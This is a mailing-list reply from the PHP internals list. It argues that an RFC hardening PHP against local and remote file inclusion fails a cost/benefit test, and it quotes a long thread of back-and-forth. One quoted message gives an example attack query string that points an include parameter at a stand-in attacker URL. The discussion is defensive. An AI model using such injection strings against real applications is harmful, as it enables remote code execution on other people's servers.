On Wed, Apr 11, 2012 at 1:48 PM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote:
> Hi, > > 2012/4/12 Chris Stockton <chrisstockto...@gmail.com>: > > Hello, > > > > On Wed, Apr 11, 2012 at 10:53 AM, Kris Craig <kris.cr...@gmail.com> > wrote: > >> I can't help but question whether we should even be worrying about > LFI/RFI > >> to begin with. Personally, I would *never* check-off on code that in > any > >> way used $_GET or $_POST directly in an include/require statement! It's > >> just plain lazy. There's just no excuse for doing that. Use some sort > of > >> dispatch or translation table. Sure, it might seem less "magical," but > >> it'll also protect you from some asshole hitting you with something > like, > >> "?file=http://hacksite.com/injectedcode.php?";. The individual code > >> developer has to take *some* responsibility for their code. If this is > >> such a problem, I would think the solution would be to update our docs > to > >> better warn people about this type of attack and educate them on how > not to > >> write code that's vulnerable to it. > >> > >> We can make the language secure; but, in the end, a language is only as > >> smart as the person using it. > >> > > > > > > I really have a hard time understanding how this is even being > > discussed, there is no real problem here. Making sure user input is > > validated is a core concept of application development. How on earth > > can you say "if you don't validate the users input, it's a security > > problem, so php must fix it", it's the most ridiculousness argument I > > have read on here in ages. > > It is the same as saying that canary protection for stack smashing > or ASLR is useless if programmer write correct code. > > Don't you appreciate that compilers/OSes have additional mitigation > factor, do you? Or would you like to disable all of these mitigation > features from your compilers/OSes? I guess not. > > C language is prone to be weak for buffer overflows, hence it is > weak to code execution and/or massive information disclosure. > (Like private key disclosure demonstrated by MoPB) > > Embedded language is prone to be weak for LFI. It also leads > to code execution and/or massive information disclosure. > > These weaknesses are the nature of how languages are made. > PHP is pure embedded language and there are people trying to > change it. If we are going to change that, it is reasonable to > change PHP so that LFI weakness will be closed. > > Not closing LFI issue is sound like "We have created Java language > which is free from memory management, but stack smashing and > various overflow issues still remains." > > > > > _IF_ you absolutely must accept arbitrary user urls from users, which > > we all have to do at some point, you use socket functions, file > > functions, HTTP extension, whatever you want. If you are using INCLUDE > > you are using the WRONG TOOL. You are WRONG. > > Decent programmers knew the most important mitigation factor > is input control. It is top listed as monster mitigation in SANS CWE > TOP 25 also. I guess nobody would argue that here. > > > > > _IF_ you are needing to display downloaded user data onto a page, a > > image for example, you need to use file functions, fpassthru, > > something of the source. If you are using INCLUDE to do this, you are > > using the WRONG TOOL. You are WRONG. > > > > _IF_ you for some reason must accept LOCAL PATHS from a user, and you > > do not want to pass that input through a validation layer, you are > > WRONG. > > > > It boils down to you either use the right tools and the right > > validation methods or I promise this is only one of unlimited possible > > security concerns Yasuo. > > We are discussing PHP being stronger against LFI, if we > are going to adopt non-ebmed mode for PHP. > > PHP is good language for novice. Do we want them to learn > details of LFI which is described in my RFC? How dangerous it is, > how it could be exploited, etc. I believe it's just not worth it if we > made PHP could work in non-embedded mode. > > By the way, how many people knew all the exploitation methods that > I've written in the RFC? It's a real risk, but I guess many of us > don't even think about or care. How we could expect novice or > even average PHP programmer care about these risks? > > It's better that close window as much as possible where it is > applicable. > > Regards, > > -- > Yasuo Ohgaki > yohg...@ohgaki.net > But you're basically just using an "either or argument," a classic logical fallacy. I.e. you're saying that, if I believe that the language shouldn't be twisted to protect against every single possible vulnerability caused by stupid code, then I must also believe that the language should not contain * any* security safeguards, whatsoever. That's just patently ridiculous. This isn't an "all or nothing" question. This particular RFC just doesn't pass the cost/benefit test IMHO. That doesn't mean that all security-related RFCs don't. In this case, a substantial change to the language would have to be made, and the only benefit would be protecting against a very narrow vulnerability that *only* occurs in really, REALLY bad code. --Kris
